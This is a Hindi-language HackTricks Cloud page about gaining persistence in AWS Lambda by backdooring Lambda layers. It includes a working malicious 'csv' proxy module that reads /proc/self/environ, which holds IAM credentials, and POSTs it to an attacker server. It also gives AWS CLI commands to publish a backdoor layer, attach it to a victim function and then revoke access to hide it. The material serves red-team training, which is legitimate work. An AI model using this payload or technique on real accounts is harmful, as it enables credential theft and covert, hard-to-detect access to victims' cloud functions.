AWS - Lambda Layers Persistence
Reading time: 8 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Lambda Layers
एक Lambda लेयर एक .zip फ़ाइल संग्रह है जो अतिरिक्त कोड या अन्य सामग्री शामिल कर सकता है। एक लेयर में पुस्तकालय, एक कस्टम रनटाइम, डेटा, या कॉन्फ़िगरेशन फ़ाइलें हो सकती हैं।
एक फ़ंक्शन में पाँच लेयर्स तक शामिल करना संभव है। जब आप एक फ़ंक्शन में एक लेयर शामिल करते हैं, तो सामग्री को /opt
निर्देशिका में निष्पादन वातावरण में निकाला जाता है।
डिफ़ॉल्ट रूप से, जो लेयर्स आप बनाते हैं वे आपके AWS खाते के लिए निजी होती हैं। आप एक लेयर को अन्य खातों के साथ साझा करने या लेयर को सार्वजनिक बनाने का विकल्प चुन सकते हैं। यदि आपके फ़ंक्शन एक लेयर का उपयोग करते हैं जिसे एक अलग खाते ने प्रकाशित किया है, तो आपके फ़ंक्शन लेयर संस्करण का उपयोग जारी रख सकते हैं भले ही इसे हटा दिया गया हो, या आपके लेयर तक पहुँचने की अनुमति को रद्द कर दिया गया हो। हालाँकि, आप एक नई फ़ंक्शन नहीं बना सकते या हटाई गई लेयर संस्करण का उपयोग करते हुए फ़ंक्शंस को अपडेट नहीं कर सकते।
कंटेनर इमेज के रूप में तैनात फ़ंक्शन लेयर्स का उपयोग नहीं करते हैं। इसके बजाय, आप इमेज बनाने के समय अपने पसंदीदा रनटाइम, पुस्तकालयों और अन्य निर्भरताओं को कंटेनर इमेज में पैक करते हैं।
Python load path
Python द्वारा lambda में उपयोग किया जाने वाला लोड पथ निम्नलिखित है:
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
चेक करें कि दूसरे और तीसरे स्थान को उन निर्देशिकाओं द्वारा कब्जा किया गया है जहाँ lambda layers अपनी फ़ाइलों को अनकंप्रेस करते हैं: /opt/python/lib/python3.9/site-packages
और /opt/python
caution
यदि एक हमलावर एक उपयोग की गई lambda layer में बैकडोर डालने में सफल हो जाता है या एक ऐसा जोड़ता है जो एक सामान्य पुस्तकालय लोड होने पर मनमाना कोड निष्पादित करेगा, तो वह प्रत्येक lambda कॉल के साथ दुर्भावनापूर्ण कोड निष्पादित करने में सक्षम होगा।
इसलिए, आवश्यकताएँ हैं:
- चेक करें पुस्तकालय जो पीड़ितों के कोड द्वारा लोड किए गए हैं
- एक प्रॉक्सी लाइब्रेरी बनाएं जो lambda layers के साथ कस्टम कोड निष्पादित करेगी और मूल पुस्तकालय को लोड करेगी।
प्रीलोडेड पुस्तकालय
warning
जब इस तकनीक का दुरुपयोग करते समय मैंने एक कठिनाई पाई: कुछ पुस्तकालय पहले से ही लोड होते हैं जब आपका कोड निष्पादित होता है। मैं os
या sys
जैसी चीजें खोजने की उम्मीद कर रहा था, लेकिन यहाँ तक कि json
पुस्तकालय भी लोड हो चुका था।
इस स्थायी तकनीक का दुरुपयोग करने के लिए, कोड को एक नया पुस्तकालय लोड करना होगा जो लोड नहीं होता जब कोड निष्पादित होता है।
इस तरह के एक पायथन कोड के साथ यह संभव है कि पुस्तकों की सूची प्राप्त करें जो प्रीलोडेड हैं पायथन रनटाइम के अंदर lambda में:
import sys
def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}
और यह सूची है (जांचें कि os
या json
जैसी पुस्तकालय पहले से मौजूद हैं)
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
और यह लाइब्रेरीज़ की सूची है जो लैम्ब्डा डिफ़ॉल्ट रूप से शामिल करता है: https://gist.github.com/gene1wood/4a052f39490fae00e0c3
लैम्ब्डा लेयर बैकडोरिंग
इस उदाहरण में मान लीजिए कि लक्षित कोड csv
आयात कर रहा है। हम csv
लाइब्रेरी के आयात में बैकडोरिंग करने जा रहे हैं।
इसके लिए, हम csv
नाम का डायरेक्टरी बनाएंगे जिसमें __init__.py
फ़ाइल होगी, एक पथ में जो लैम्ब्डा द्वारा लोड किया जाता है: /opt/python/lib/python3.9/site-packages
फिर, जब लैम्ब्डा निष्पादित होता है और csv लोड करने की कोशिश करता है, तो हमारी __init__.py
फ़ाइल लोड और निष्पादित होगी।
इस फ़ाइल को करना चाहिए:
- हमारा पेलोड निष्पादित करें
- मूल csv लाइब्रेरी लोड करें
हम दोनों कर सकते हैं:
import sys
from urllib import request
with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)
# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)
# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]
# Load original library
import csv as _csv
sys.modules["csv"] = _csv
फिर, इस कोड के साथ एक ज़िप बनाएं जो पथ python/lib/python3.9/site-packages/__init__.py
में हो और इसे एक लैम्ब्डा लेयर के रूप में जोड़ें।
आप इस कोड को https://github.com/carlospolop/LambdaLayerBackdoor पर पा सकते हैं।
एकीकृत पेलोड IAM क्रेडेंशियल्स को एक सर्वर पर भेजेगा जब इसे पहली बार बुलाया जाएगा या लैम्ब्डा कंटेनर के रीसेट के बाद (कोड में परिवर्तन या ठंडी लैम्ब्डा), लेकिन अन्य तकनीकें जैसे निम्नलिखित भी एकीकृत की जा सकती हैं:
बाहरी लेयर्स
ध्यान दें कि बाहरी खातों से लैम्ब्डा लेयर्स का उपयोग करना संभव है। इसके अलावा, एक लैम्ब्डा एक बाहरी खाते से एक लेयर का उपयोग कर सकता है भले ही उसके पास अनुमतियाँ न हों।
यह भी ध्यान दें कि एक लैम्ब्डा के पास अधिकतम 5 लेयर्स हो सकती हैं।
इसलिए, इस तकनीक की बहुपरकारीता को बढ़ाने के लिए एक हमलावर कर सकता है:
- उपयोगकर्ता की एक मौजूदा लेयर में बैकडोर डालें (कुछ भी बाहरी नहीं है)
- अपने खाते में एक लेयर बनाएं, पीड़ित खाते को लेयर का उपयोग करने के लिए अनुमति दें, पीड़ित की लैम्ब्डा में लेयर को कॉन्फ़िगर करें और अनुमति हटा दें।
- लैम्ब्डा अभी भी लेयर का उपयोग कर सकेगा और पीड़ित के पास लेयर्स कोड डाउनलोड करने का कोई आसान तरीका नहीं होगा (लैम्ब्डा के अंदर एक रिव शेल प्राप्त करने के अलावा)
- पीड़ित
aws lambda list-layers
के साथ उपयोग की गई बाहरी लेयर्स नहीं देखेगा।
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
## Add layer to victims Lambda
# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।